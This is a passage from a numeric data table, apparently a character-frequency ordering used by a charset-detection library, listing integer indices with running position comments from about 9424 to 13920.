-9614,4905,9615,9616,9617,9618,9619,9620,9621,9622,9623,9624,9625,9626,9627,9628, # 9424 -9629,9630,9631,9632,4906,9633,9634,9635,9636,9637,9638,9639,9640,9641,9642,9643, # 9440 -4907,9644,9645,9646,9647,9648,9649,9650,9651,9652,9653,9654,9655,9656,9657,9658, # 9456 -9659,9660,9661,9662,9663,9664,9665,9666,9667,9668,9669,9670,9671,9672,4183,9673, # 9472 -9674,9675,9676,9677,4908,9678,9679,9680,9681,4909,9682,9683,9684,9685,9686,9687, # 9488 -9688,9689,9690,4910,9691,9692,9693,3675,9694,9695,9696,2945,9697,9698,9699,9700, # 9504 -9701,9702,9703,9704,9705,4911,9706,9707,9708,9709,9710,9711,9712,9713,9714,9715, # 9520 -9716,9717,9718,9719,9720,9721,9722,9723,9724,9725,9726,9727,9728,9729,9730,9731, # 9536 -9732,9733,9734,9735,4912,9736,9737,9738,9739,9740,4913,9741,9742,9743,9744,9745, # 9552 -9746,9747,9748,9749,9750,9751,9752,9753,9754,9755,9756,9757,9758,4914,9759,9760, # 9568 -9761,9762,9763,9764,9765,9766,9767,9768,9769,9770,9771,9772,9773,9774,9775,9776, # 9584 -9777,9778,9779,9780,9781,9782,4915,9783,9784,9785,9786,9787,9788,9789,9790,9791, # 9600 -9792,9793,4916,9794,9795,9796,9797,9798,9799,9800,9801,9802,9803,9804,9805,9806, # 9616 -9807,9808,9809,9810,9811,9812,9813,9814,9815,9816,9817,9818,9819,9820,9821,9822, # 9632 -9823,9824,9825,9826,9827,9828,9829,9830,9831,9832,9833,9834,9835,9836,9837,9838, # 9648 -9839,9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854, # 9664 -9855,9856,9857,9858,9859,9860,9861,9862,9863,9864,9865,9866,9867,9868,4917,9869, # 9680 -9870,9871,9872,9873,9874,9875,9876,9877,9878,9879,9880,9881,9882,9883,9884,9885, # 9696 -9886,9887,9888,9889,9890,9891,9892,4472,9893,9894,9895,9896,9897,3806,9898,9899, # 9712 -9900,9901,9902,9903,9904,9905,9906,9907,9908,9909,9910,9911,9912,9913,9914,4918, # 9728 -9915,9916,9917,4919,9918,9919,9920,9921,4184,9922,9923,9924,9925,9926,9927,9928, # 9744 -9929,9930,9931,9932,9933,9934,9935,9936,9937,9938,9939,9940,9941,9942,9943,9944, # 9760 -9945,9946,4920,9947,9948,9949,9950,9951,9952,9953,9954,9955,4185,9956,9957,9958, # 9776 -9959,9960,9961,9962,9963,9964,9965,4921,9966,9967,9968,4473,9969,9970,9971,9972, # 9792 -9973,9974,9975,9976,9977,4474,9978,9979,9980,9981,9982,9983,9984,9985,9986,9987, # 9808 -9988,9989,9990,9991,9992,9993,9994,9995,9996,9997,9998,9999,10000,10001,10002,10003, # 9824 -10004,10005,10006,10007,10008,10009,10010,10011,10012,10013,10014,10015,10016,10017,10018,10019, # 9840 -10020,10021,4922,10022,4923,10023,10024,10025,10026,10027,10028,10029,10030,10031,10032,10033, # 9856 -10034,10035,10036,10037,10038,10039,10040,10041,10042,10043,10044,10045,10046,10047,10048,4924, # 9872 -10049,10050,10051,10052,10053,10054,10055,10056,10057,10058,10059,10060,10061,10062,10063,10064, # 9888 -10065,10066,10067,10068,10069,10070,10071,10072,10073,10074,10075,10076,10077,10078,10079,10080, # 9904 -10081,10082,10083,10084,10085,10086,10087,4475,10088,10089,10090,10091,10092,10093,10094,10095, # 9920 -10096,10097,4476,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110, # 9936 -10111,2174,10112,10113,10114,10115,10116,10117,10118,10119,10120,10121,10122,10123,10124,10125, # 9952 -10126,10127,10128,10129,10130,10131,10132,10133,10134,10135,10136,10137,10138,10139,10140,3807, # 9968 -4186,4925,10141,10142,10143,10144,10145,10146,10147,4477,4187,10148,10149,10150,10151,10152, # 9984 -10153,4188,10154,10155,10156,10157,10158,10159,10160,10161,4926,10162,10163,10164,10165,10166, #10000 -10167,10168,10169,10170,10171,10172,10173,10174,10175,10176,10177,10178,10179,10180,10181,10182, #10016 -10183,10184,10185,10186,10187,10188,10189,10190,10191,10192,3203,10193,10194,10195,10196,10197, #10032 -10198,10199,10200,4478,10201,10202,10203,10204,4479,10205,10206,10207,10208,10209,10210,10211, #10048 -10212,10213,10214,10215,10216,10217,10218,10219,10220,10221,10222,10223,10224,10225,10226,10227, #10064 -10228,10229,10230,10231,10232,10233,10234,4927,10235,10236,10237,10238,10239,10240,10241,10242, #10080 -10243,10244,10245,10246,10247,10248,10249,10250,10251,10252,10253,10254,10255,10256,10257,10258, #10096 -10259,10260,10261,10262,10263,10264,10265,10266,10267,10268,10269,10270,10271,10272,10273,4480, #10112 -4928,4929,10274,10275,10276,10277,10278,10279,10280,10281,10282,10283,10284,10285,10286,10287, #10128 -10288,10289,10290,10291,10292,10293,10294,10295,10296,10297,10298,10299,10300,10301,10302,10303, #10144 -10304,10305,10306,10307,10308,10309,10310,10311,10312,10313,10314,10315,10316,10317,10318,10319, #10160 -10320,10321,10322,10323,10324,10325,10326,10327,10328,10329,10330,10331,10332,10333,10334,4930, #10176 -10335,10336,10337,10338,10339,10340,10341,10342,4931,10343,10344,10345,10346,10347,10348,10349, #10192 -10350,10351,10352,10353,10354,10355,3088,10356,2786,10357,10358,10359,10360,4189,10361,10362, #10208 -10363,10364,10365,10366,10367,10368,10369,10370,10371,10372,10373,10374,10375,4932,10376,10377, #10224 -10378,10379,10380,10381,10382,10383,10384,10385,10386,10387,10388,10389,10390,10391,10392,4933, #10240 -10393,10394,10395,4934,10396,10397,10398,10399,10400,10401,10402,10403,10404,10405,10406,10407, #10256 -10408,10409,10410,10411,10412,3446,10413,10414,10415,10416,10417,10418,10419,10420,10421,10422, #10272 -10423,4935,10424,10425,10426,10427,10428,10429,10430,4936,10431,10432,10433,10434,10435,10436, #10288 -10437,10438,10439,10440,10441,10442,10443,4937,10444,10445,10446,10447,4481,10448,10449,10450, #10304 -10451,10452,10453,10454,10455,10456,10457,10458,10459,10460,10461,10462,10463,10464,10465,10466, #10320 -10467,10468,10469,10470,10471,10472,10473,10474,10475,10476,10477,10478,10479,10480,10481,10482, #10336 -10483,10484,10485,10486,10487,10488,10489,10490,10491,10492,10493,10494,10495,10496,10497,10498, #10352 -10499,10500,10501,10502,10503,10504,10505,4938,10506,10507,10508,10509,10510,2552,10511,10512, #10368 -10513,10514,10515,10516,3447,10517,10518,10519,10520,10521,10522,10523,10524,10525,10526,10527, #10384 -10528,10529,10530,10531,10532,10533,10534,10535,10536,10537,10538,10539,10540,10541,10542,10543, #10400 -4482,10544,4939,10545,10546,10547,10548,10549,10550,10551,10552,10553,10554,10555,10556,10557, #10416 -10558,10559,10560,10561,10562,10563,10564,10565,10566,10567,3676,4483,10568,10569,10570,10571, #10432 -10572,3448,10573,10574,10575,10576,10577,10578,10579,10580,10581,10582,10583,10584,10585,10586, #10448 -10587,10588,10589,10590,10591,10592,10593,10594,10595,10596,10597,10598,10599,10600,10601,10602, #10464 -10603,10604,10605,10606,10607,10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618, #10480 -10619,10620,10621,10622,10623,10624,10625,10626,10627,4484,10628,10629,10630,10631,10632,4940, #10496 -10633,10634,10635,10636,10637,10638,10639,10640,10641,10642,10643,10644,10645,10646,10647,10648, #10512 -10649,10650,10651,10652,10653,10654,10655,10656,4941,10657,10658,10659,2599,10660,10661,10662, #10528 -10663,10664,10665,10666,3089,10667,10668,10669,10670,10671,10672,10673,10674,10675,10676,10677, #10544 -10678,10679,10680,4942,10681,10682,10683,10684,10685,10686,10687,10688,10689,10690,10691,10692, #10560 -10693,10694,10695,10696,10697,4485,10698,10699,10700,10701,10702,10703,10704,4943,10705,3677, #10576 -10706,10707,10708,10709,10710,10711,10712,4944,10713,10714,10715,10716,10717,10718,10719,10720, #10592 -10721,10722,10723,10724,10725,10726,10727,10728,4945,10729,10730,10731,10732,10733,10734,10735, #10608 -10736,10737,10738,10739,10740,10741,10742,10743,10744,10745,10746,10747,10748,10749,10750,10751, #10624 -10752,10753,10754,10755,10756,10757,10758,10759,10760,10761,4946,10762,10763,10764,10765,10766, #10640 -10767,4947,4948,10768,10769,10770,10771,10772,10773,10774,10775,10776,10777,10778,10779,10780, #10656 -10781,10782,10783,10784,10785,10786,10787,10788,10789,10790,10791,10792,10793,10794,10795,10796, #10672 -10797,10798,10799,10800,10801,10802,10803,10804,10805,10806,10807,10808,10809,10810,10811,10812, #10688 -10813,10814,10815,10816,10817,10818,10819,10820,10821,10822,10823,10824,10825,10826,10827,10828, #10704 -10829,10830,10831,10832,10833,10834,10835,10836,10837,10838,10839,10840,10841,10842,10843,10844, #10720 -10845,10846,10847,10848,10849,10850,10851,10852,10853,10854,10855,10856,10857,10858,10859,10860, #10736 -10861,10862,10863,10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876, #10752 -10877,10878,4486,10879,10880,10881,10882,10883,10884,10885,4949,10886,10887,10888,10889,10890, #10768 -10891,10892,10893,10894,10895,10896,10897,10898,10899,10900,10901,10902,10903,10904,10905,10906, #10784 -10907,10908,10909,10910,10911,10912,10913,10914,10915,10916,10917,10918,10919,4487,10920,10921, #10800 -10922,10923,10924,10925,10926,10927,10928,10929,10930,10931,10932,4950,10933,10934,10935,10936, #10816 -10937,10938,10939,10940,10941,10942,10943,10944,10945,10946,10947,10948,10949,4488,10950,10951, #10832 -10952,10953,10954,10955,10956,10957,10958,10959,4190,10960,10961,10962,10963,10964,10965,10966, #10848 -10967,10968,10969,10970,10971,10972,10973,10974,10975,10976,10977,10978,10979,10980,10981,10982, #10864 -10983,10984,10985,10986,10987,10988,10989,10990,10991,10992,10993,10994,10995,10996,10997,10998, #10880 -10999,11000,11001,11002,11003,11004,11005,11006,3960,11007,11008,11009,11010,11011,11012,11013, #10896 -11014,11015,11016,11017,11018,11019,11020,11021,11022,11023,11024,11025,11026,11027,11028,11029, #10912 -11030,11031,11032,4951,11033,11034,11035,11036,11037,11038,11039,11040,11041,11042,11043,11044, #10928 -11045,11046,11047,4489,11048,11049,11050,11051,4952,11052,11053,11054,11055,11056,11057,11058, #10944 -4953,11059,11060,11061,11062,11063,11064,11065,11066,11067,11068,11069,11070,11071,4954,11072, #10960 -11073,11074,11075,11076,11077,11078,11079,11080,11081,11082,11083,11084,11085,11086,11087,11088, #10976 -11089,11090,11091,11092,11093,11094,11095,11096,11097,11098,11099,11100,11101,11102,11103,11104, #10992 -11105,11106,11107,11108,11109,11110,11111,11112,11113,11114,11115,3808,11116,11117,11118,11119, #11008 -11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,4955, #11024 -11135,11136,11137,11138,11139,11140,11141,11142,11143,11144,11145,11146,11147,11148,11149,11150, #11040 -11151,11152,11153,11154,11155,11156,11157,11158,11159,11160,11161,4956,11162,11163,11164,11165, #11056 -11166,11167,11168,11169,11170,11171,11172,11173,11174,11175,11176,11177,11178,11179,11180,4957, #11072 -11181,11182,11183,11184,11185,11186,4958,11187,11188,11189,11190,11191,11192,11193,11194,11195, #11088 -11196,11197,11198,11199,11200,3678,11201,11202,11203,11204,11205,11206,4191,11207,11208,11209, #11104 -11210,11211,11212,11213,11214,11215,11216,11217,11218,11219,11220,11221,11222,11223,11224,11225, #11120 -11226,11227,11228,11229,11230,11231,11232,11233,11234,11235,11236,11237,11238,11239,11240,11241, #11136 -11242,11243,11244,11245,11246,11247,11248,11249,11250,11251,4959,11252,11253,11254,11255,11256, #11152 -11257,11258,11259,11260,11261,11262,11263,11264,11265,11266,11267,11268,11269,11270,11271,11272, #11168 -11273,11274,11275,11276,11277,11278,11279,11280,11281,11282,11283,11284,11285,11286,11287,11288, #11184 -11289,11290,11291,11292,11293,11294,11295,11296,11297,11298,11299,11300,11301,11302,11303,11304, #11200 -11305,11306,11307,11308,11309,11310,11311,11312,11313,11314,3679,11315,11316,11317,11318,4490, #11216 -11319,11320,11321,11322,11323,11324,11325,11326,11327,11328,11329,11330,11331,11332,11333,11334, #11232 -11335,11336,11337,11338,11339,11340,11341,11342,11343,11344,11345,11346,11347,4960,11348,11349, #11248 -11350,11351,11352,11353,11354,11355,11356,11357,11358,11359,11360,11361,11362,11363,11364,11365, #11264 -11366,11367,11368,11369,11370,11371,11372,11373,11374,11375,11376,11377,3961,4961,11378,11379, #11280 -11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,11392,11393,11394,11395, #11296 -11396,11397,4192,11398,11399,11400,11401,11402,11403,11404,11405,11406,11407,11408,11409,11410, #11312 -11411,4962,11412,11413,11414,11415,11416,11417,11418,11419,11420,11421,11422,11423,11424,11425, #11328 -11426,11427,11428,11429,11430,11431,11432,11433,11434,11435,11436,11437,11438,11439,11440,11441, #11344 -11442,11443,11444,11445,11446,11447,11448,11449,11450,11451,11452,11453,11454,11455,11456,11457, #11360 -11458,11459,11460,11461,11462,11463,11464,11465,11466,11467,11468,11469,4963,11470,11471,4491, #11376 -11472,11473,11474,11475,4964,11476,11477,11478,11479,11480,11481,11482,11483,11484,11485,11486, #11392 -11487,11488,11489,11490,11491,11492,4965,11493,11494,11495,11496,11497,11498,11499,11500,11501, #11408 -11502,11503,11504,11505,11506,11507,11508,11509,11510,11511,11512,11513,11514,11515,11516,11517, #11424 -11518,11519,11520,11521,11522,11523,11524,11525,11526,11527,11528,11529,3962,11530,11531,11532, #11440 -11533,11534,11535,11536,11537,11538,11539,11540,11541,11542,11543,11544,11545,11546,11547,11548, #11456 -11549,11550,11551,11552,11553,11554,11555,11556,11557,11558,11559,11560,11561,11562,11563,11564, #11472 -4193,4194,11565,11566,11567,11568,11569,11570,11571,11572,11573,11574,11575,11576,11577,11578, #11488 -11579,11580,11581,11582,11583,11584,11585,11586,11587,11588,11589,11590,11591,4966,4195,11592, #11504 -11593,11594,11595,11596,11597,11598,11599,11600,11601,11602,11603,11604,3090,11605,11606,11607, #11520 -11608,11609,11610,4967,11611,11612,11613,11614,11615,11616,11617,11618,11619,11620,11621,11622, #11536 -11623,11624,11625,11626,11627,11628,11629,11630,11631,11632,11633,11634,11635,11636,11637,11638, #11552 -11639,11640,11641,11642,11643,11644,11645,11646,11647,11648,11649,11650,11651,11652,11653,11654, #11568 -11655,11656,11657,11658,11659,11660,11661,11662,11663,11664,11665,11666,11667,11668,11669,11670, #11584 -11671,11672,11673,11674,4968,11675,11676,11677,11678,11679,11680,11681,11682,11683,11684,11685, #11600 -11686,11687,11688,11689,11690,11691,11692,11693,3809,11694,11695,11696,11697,11698,11699,11700, #11616 -11701,11702,11703,11704,11705,11706,11707,11708,11709,11710,11711,11712,11713,11714,11715,11716, #11632 -11717,11718,3553,11719,11720,11721,11722,11723,11724,11725,11726,11727,11728,11729,11730,4969, #11648 -11731,11732,11733,11734,11735,11736,11737,11738,11739,11740,4492,11741,11742,11743,11744,11745, #11664 -11746,11747,11748,11749,11750,11751,11752,4970,11753,11754,11755,11756,11757,11758,11759,11760, #11680 -11761,11762,11763,11764,11765,11766,11767,11768,11769,11770,11771,11772,11773,11774,11775,11776, #11696 -11777,11778,11779,11780,11781,11782,11783,11784,11785,11786,11787,11788,11789,11790,4971,11791, #11712 -11792,11793,11794,11795,11796,11797,4972,11798,11799,11800,11801,11802,11803,11804,11805,11806, #11728 -11807,11808,11809,11810,4973,11811,11812,11813,11814,11815,11816,11817,11818,11819,11820,11821, #11744 -11822,11823,11824,11825,11826,11827,11828,11829,11830,11831,11832,11833,11834,3680,3810,11835, #11760 -11836,4974,11837,11838,11839,11840,11841,11842,11843,11844,11845,11846,11847,11848,11849,11850, #11776 -11851,11852,11853,11854,11855,11856,11857,11858,11859,11860,11861,11862,11863,11864,11865,11866, #11792 -11867,11868,11869,11870,11871,11872,11873,11874,11875,11876,11877,11878,11879,11880,11881,11882, #11808 -11883,11884,4493,11885,11886,11887,11888,11889,11890,11891,11892,11893,11894,11895,11896,11897, #11824 -11898,11899,11900,11901,11902,11903,11904,11905,11906,11907,11908,11909,11910,11911,11912,11913, #11840 -11914,11915,4975,11916,11917,11918,11919,11920,11921,11922,11923,11924,11925,11926,11927,11928, #11856 -11929,11930,11931,11932,11933,11934,11935,11936,11937,11938,11939,11940,11941,11942,11943,11944, #11872 -11945,11946,11947,11948,11949,4976,11950,11951,11952,11953,11954,11955,11956,11957,11958,11959, #11888 -11960,11961,11962,11963,11964,11965,11966,11967,11968,11969,11970,11971,11972,11973,11974,11975, #11904 -11976,11977,11978,11979,11980,11981,11982,11983,11984,11985,11986,11987,4196,11988,11989,11990, #11920 -11991,11992,4977,11993,11994,11995,11996,11997,11998,11999,12000,12001,12002,12003,12004,12005, #11936 -12006,12007,12008,12009,12010,12011,12012,12013,12014,12015,12016,12017,12018,12019,12020,12021, #11952 -12022,12023,12024,12025,12026,12027,12028,12029,12030,12031,12032,12033,12034,12035,12036,12037, #11968 -12038,12039,12040,12041,12042,12043,12044,12045,12046,12047,12048,12049,12050,12051,12052,12053, #11984 -12054,12055,12056,12057,12058,12059,12060,12061,4978,12062,12063,12064,12065,12066,12067,12068, #12000 -12069,12070,12071,12072,12073,12074,12075,12076,12077,12078,12079,12080,12081,12082,12083,12084, #12016 -12085,12086,12087,12088,12089,12090,12091,12092,12093,12094,12095,12096,12097,12098,12099,12100, #12032 -12101,12102,12103,12104,12105,12106,12107,12108,12109,12110,12111,12112,12113,12114,12115,12116, #12048 -12117,12118,12119,12120,12121,12122,12123,4979,12124,12125,12126,12127,12128,4197,12129,12130, #12064 -12131,12132,12133,12134,12135,12136,12137,12138,12139,12140,12141,12142,12143,12144,12145,12146, #12080 -12147,12148,12149,12150,12151,12152,12153,12154,4980,12155,12156,12157,12158,12159,12160,4494, #12096 -12161,12162,12163,12164,3811,12165,12166,12167,12168,12169,4495,12170,12171,4496,12172,12173, #12112 -12174,12175,12176,3812,12177,12178,12179,12180,12181,12182,12183,12184,12185,12186,12187,12188, #12128 -12189,12190,12191,12192,12193,12194,12195,12196,12197,12198,12199,12200,12201,12202,12203,12204, #12144 -12205,12206,12207,12208,12209,12210,12211,12212,12213,12214,12215,12216,12217,12218,12219,12220, #12160 -12221,4981,12222,12223,12224,12225,12226,12227,12228,12229,12230,12231,12232,12233,12234,12235, #12176 -4982,12236,12237,12238,12239,12240,12241,12242,12243,12244,12245,4983,12246,12247,12248,12249, #12192 -4984,12250,12251,12252,12253,12254,12255,12256,12257,12258,12259,12260,12261,12262,12263,12264, #12208 -4985,12265,4497,12266,12267,12268,12269,12270,12271,12272,12273,12274,12275,12276,12277,12278, #12224 -12279,12280,12281,12282,12283,12284,12285,12286,12287,4986,12288,12289,12290,12291,12292,12293, #12240 -12294,12295,12296,2473,12297,12298,12299,12300,12301,12302,12303,12304,12305,12306,12307,12308, #12256 -12309,12310,12311,12312,12313,12314,12315,12316,12317,12318,12319,3963,12320,12321,12322,12323, #12272 -12324,12325,12326,12327,12328,12329,12330,12331,12332,4987,12333,12334,12335,12336,12337,12338, #12288 -12339,12340,12341,12342,12343,12344,12345,12346,12347,12348,12349,12350,12351,12352,12353,12354, #12304 -12355,12356,12357,12358,12359,3964,12360,12361,12362,12363,12364,12365,12366,12367,12368,12369, #12320 -12370,3965,12371,12372,12373,12374,12375,12376,12377,12378,12379,12380,12381,12382,12383,12384, #12336 -12385,12386,12387,12388,12389,12390,12391,12392,12393,12394,12395,12396,12397,12398,12399,12400, #12352 -12401,12402,12403,12404,12405,12406,12407,12408,4988,12409,12410,12411,12412,12413,12414,12415, #12368 -12416,12417,12418,12419,12420,12421,12422,12423,12424,12425,12426,12427,12428,12429,12430,12431, #12384 -12432,12433,12434,12435,12436,12437,12438,3554,12439,12440,12441,12442,12443,12444,12445,12446, #12400 -12447,12448,12449,12450,12451,12452,12453,12454,12455,12456,12457,12458,12459,12460,12461,12462, #12416 -12463,12464,4989,12465,12466,12467,12468,12469,12470,12471,12472,12473,12474,12475,12476,12477, #12432 -12478,12479,12480,4990,12481,12482,12483,12484,12485,12486,12487,12488,12489,4498,12490,12491, #12448 -12492,12493,12494,12495,12496,12497,12498,12499,12500,12501,12502,12503,12504,12505,12506,12507, #12464 -12508,12509,12510,12511,12512,12513,12514,12515,12516,12517,12518,12519,12520,12521,12522,12523, #12480 -12524,12525,12526,12527,12528,12529,12530,12531,12532,12533,12534,12535,12536,12537,12538,12539, #12496 -12540,12541,12542,12543,12544,12545,12546,12547,12548,12549,12550,12551,4991,12552,12553,12554, #12512 -12555,12556,12557,12558,12559,12560,12561,12562,12563,12564,12565,12566,12567,12568,12569,12570, #12528 -12571,12572,12573,12574,12575,12576,12577,12578,3036,12579,12580,12581,12582,12583,3966,12584, #12544 -12585,12586,12587,12588,12589,12590,12591,12592,12593,12594,12595,12596,12597,12598,12599,12600, #12560 -12601,12602,12603,12604,12605,12606,12607,12608,12609,12610,12611,12612,12613,12614,12615,12616, #12576 -12617,12618,12619,12620,12621,12622,12623,12624,12625,12626,12627,12628,12629,12630,12631,12632, #12592 -12633,12634,12635,12636,12637,12638,12639,12640,12641,12642,12643,12644,12645,12646,4499,12647, #12608 -12648,12649,12650,12651,12652,12653,12654,12655,12656,12657,12658,12659,12660,12661,12662,12663, #12624 -12664,12665,12666,12667,12668,12669,12670,12671,12672,12673,12674,12675,12676,12677,12678,12679, #12640 -12680,12681,12682,12683,12684,12685,12686,12687,12688,12689,12690,12691,12692,12693,12694,12695, #12656 -12696,12697,12698,4992,12699,12700,12701,12702,12703,12704,12705,12706,12707,12708,12709,12710, #12672 -12711,12712,12713,12714,12715,12716,12717,12718,12719,12720,12721,12722,12723,12724,12725,12726, #12688 -12727,12728,12729,12730,12731,12732,12733,12734,12735,12736,12737,12738,12739,12740,12741,12742, #12704 -12743,12744,12745,12746,12747,12748,12749,12750,12751,12752,12753,12754,12755,12756,12757,12758, #12720 -12759,12760,12761,12762,12763,12764,12765,12766,12767,12768,12769,12770,12771,12772,12773,12774, #12736 -12775,12776,12777,12778,4993,2175,12779,12780,12781,12782,12783,12784,12785,12786,4500,12787, #12752 -12788,12789,12790,12791,12792,12793,12794,12795,12796,12797,12798,12799,12800,12801,12802,12803, #12768 -12804,12805,12806,12807,12808,12809,12810,12811,12812,12813,12814,12815,12816,12817,12818,12819, #12784 -12820,12821,12822,12823,12824,12825,12826,4198,3967,12827,12828,12829,12830,12831,12832,12833, #12800 -12834,12835,12836,12837,12838,12839,12840,12841,12842,12843,12844,12845,12846,12847,12848,12849, #12816 -12850,12851,12852,12853,12854,12855,12856,12857,12858,12859,12860,12861,4199,12862,12863,12864, #12832 -12865,12866,12867,12868,12869,12870,12871,12872,12873,12874,12875,12876,12877,12878,12879,12880, #12848 -12881,12882,12883,12884,12885,12886,12887,4501,12888,12889,12890,12891,12892,12893,12894,12895, #12864 -12896,12897,12898,12899,12900,12901,12902,12903,12904,12905,12906,12907,12908,12909,12910,12911, #12880 -12912,4994,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926, #12896 -12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942, #12912 -12943,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953,12954,12955,12956,1772,12957, #12928 -12958,12959,12960,12961,12962,12963,12964,12965,12966,12967,12968,12969,12970,12971,12972,12973, #12944 -12974,12975,12976,12977,12978,12979,12980,12981,12982,12983,12984,12985,12986,12987,12988,12989, #12960 -12990,12991,12992,12993,12994,12995,12996,12997,4502,12998,4503,12999,13000,13001,13002,13003, #12976 -4504,13004,13005,13006,13007,13008,13009,13010,13011,13012,13013,13014,13015,13016,13017,13018, #12992 -13019,13020,13021,13022,13023,13024,13025,13026,13027,13028,13029,3449,13030,13031,13032,13033, #13008 -13034,13035,13036,13037,13038,13039,13040,13041,13042,13043,13044,13045,13046,13047,13048,13049, #13024 -13050,13051,13052,13053,13054,13055,13056,13057,13058,13059,13060,13061,13062,13063,13064,13065, #13040 -13066,13067,13068,13069,13070,13071,13072,13073,13074,13075,13076,13077,13078,13079,13080,13081, #13056 -13082,13083,13084,13085,13086,13087,13088,13089,13090,13091,13092,13093,13094,13095,13096,13097, #13072 -13098,13099,13100,13101,13102,13103,13104,13105,13106,13107,13108,13109,13110,13111,13112,13113, #13088 -13114,13115,13116,13117,13118,3968,13119,4995,13120,13121,13122,13123,13124,13125,13126,13127, #13104 -4505,13128,13129,13130,13131,13132,13133,13134,4996,4506,13135,13136,13137,13138,13139,4997, #13120 -13140,13141,13142,13143,13144,13145,13146,13147,13148,13149,13150,13151,13152,13153,13154,13155, #13136 -13156,13157,13158,13159,4998,13160,13161,13162,13163,13164,13165,13166,13167,13168,13169,13170, #13152 -13171,13172,13173,13174,13175,13176,4999,13177,13178,13179,13180,13181,13182,13183,13184,13185, #13168 -13186,13187,13188,13189,13190,13191,13192,13193,13194,13195,13196,13197,13198,13199,13200,13201, #13184 -13202,13203,13204,13205,13206,5000,13207,13208,13209,13210,13211,13212,13213,13214,13215,13216, #13200 -13217,13218,13219,13220,13221,13222,13223,13224,13225,13226,13227,4200,5001,13228,13229,13230, #13216 -13231,13232,13233,13234,13235,13236,13237,13238,13239,13240,3969,13241,13242,13243,13244,3970, #13232 -13245,13246,13247,13248,13249,13250,13251,13252,13253,13254,13255,13256,13257,13258,13259,13260, #13248 -13261,13262,13263,13264,13265,13266,13267,13268,3450,13269,13270,13271,13272,13273,13274,13275, #13264 -13276,5002,13277,13278,13279,13280,13281,13282,13283,13284,13285,13286,13287,13288,13289,13290, #13280 -13291,13292,13293,13294,13295,13296,13297,13298,13299,13300,13301,13302,3813,13303,13304,13305, #13296 -13306,13307,13308,13309,13310,13311,13312,13313,13314,13315,13316,13317,13318,13319,13320,13321, #13312 -13322,13323,13324,13325,13326,13327,13328,4507,13329,13330,13331,13332,13333,13334,13335,13336, #13328 -13337,13338,13339,13340,13341,5003,13342,13343,13344,13345,13346,13347,13348,13349,13350,13351, #13344 -13352,13353,13354,13355,13356,13357,13358,13359,13360,13361,13362,13363,13364,13365,13366,13367, #13360 -5004,13368,13369,13370,13371,13372,13373,13374,13375,13376,13377,13378,13379,13380,13381,13382, #13376 -13383,13384,13385,13386,13387,13388,13389,13390,13391,13392,13393,13394,13395,13396,13397,13398, #13392 -13399,13400,13401,13402,13403,13404,13405,13406,13407,13408,13409,13410,13411,13412,13413,13414, #13408 -13415,13416,13417,13418,13419,13420,13421,13422,13423,13424,13425,13426,13427,13428,13429,13430, #13424 -13431,13432,4508,13433,13434,13435,4201,13436,13437,13438,13439,13440,13441,13442,13443,13444, #13440 -13445,13446,13447,13448,13449,13450,13451,13452,13453,13454,13455,13456,13457,5005,13458,13459, #13456 -13460,13461,13462,13463,13464,13465,13466,13467,13468,13469,13470,4509,13471,13472,13473,13474, #13472 -13475,13476,13477,13478,13479,13480,13481,13482,13483,13484,13485,13486,13487,13488,13489,13490, #13488 -13491,13492,13493,13494,13495,13496,13497,13498,13499,13500,13501,13502,13503,13504,13505,13506, #13504 -13507,13508,13509,13510,13511,13512,13513,13514,13515,13516,13517,13518,13519,13520,13521,13522, #13520 -13523,13524,13525,13526,13527,13528,13529,13530,13531,13532,13533,13534,13535,13536,13537,13538, #13536 -13539,13540,13541,13542,13543,13544,13545,13546,13547,13548,13549,13550,13551,13552,13553,13554, #13552 -13555,13556,13557,13558,13559,13560,13561,13562,13563,13564,13565,13566,13567,13568,13569,13570, #13568 -13571,13572,13573,13574,13575,13576,13577,13578,13579,13580,13581,13582,13583,13584,13585,13586, #13584 -13587,13588,13589,13590,13591,13592,13593,13594,13595,13596,13597,13598,13599,13600,13601,13602, #13600 -13603,13604,13605,13606,13607,13608,13609,13610,13611,13612,13613,13614,13615,13616,13617,13618, #13616 -13619,13620,13621,13622,13623,13624,13625,13626,13627,13628,13629,13630,13631,13632,13633,13634, #13632 -13635,13636,13637,13638,13639,13640,13641,13642,5006,13643,13644,13645,13646,13647,13648,13649, #13648 -13650,13651,5007,13652,13653,13654,13655,13656,13657,13658,13659,13660,13661,13662,13663,13664, #13664 -13665,13666,13667,13668,13669,13670,13671,13672,13673,13674,13675,13676,13677,13678,13679,13680, #13680 -13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,13696, #13696 -13697,13698,13699,13700,13701,13702,13703,13704,13705,13706,13707,13708,13709,13710,13711,13712, #13712 -13713,13714,13715,13716,13717,13718,13719,13720,13721,13722,13723,13724,13725,13726,13727,13728, #13728 -13729,13730,13731,13732,13733,13734,13735,13736,13737,13738,13739,13740,13741,13742,13743,13744, #13744 -13745,13746,13747,13748,13749,13750,13751,13752,13753,13754,13755,13756,13757,13758,13759,13760, #13760 -13761,13762,13763,13764,13765,13766,13767,13768,13769,13770,13771,13772,13773,13774,3273,13775, #13776 -13776,13777,13778,13779,13780,13781,13782,13783,13784,13785,13786,13787,13788,13789,13790,13791, #13792 -13792,13793,13794,13795,13796,13797,13798,13799,13800,13801,13802,13803,13804,13805,13806,13807, #13808 -13808,13809,13810,13811,13812,13813,13814,13815,13816,13817,13818,13819,13820,13821,13822,13823, #13824 -13824,13825,13826,13827,13828,13829,13830,13831,13832,13833,13834,13835,13836,13837,13838,13839, #13840 -13840,13841,13842,13843,13844,13845,13846,13847,13848,13849,13850,13851,13852,13853,13854,13855, #13856 -13856,13857,13858,13859,13860,13861,13862,13863,13864,13865,13866,13867,13868,13869,13870,13871, #13872 -13872,13873,13874,13875,13876,13877,13878,13879,13880,13881,13882,13883,13884,13885,13886,13887, #13888 -13888,13889,13890,13891,13892,13893,13894,13895,13896,13897,13898,13899,13900,13901,13902,13903, #13904 -13904,13905,13906,13907,13908,13909,13910,13911,13912,13913,13914,13915,13916,13917,13918,13919, #13920 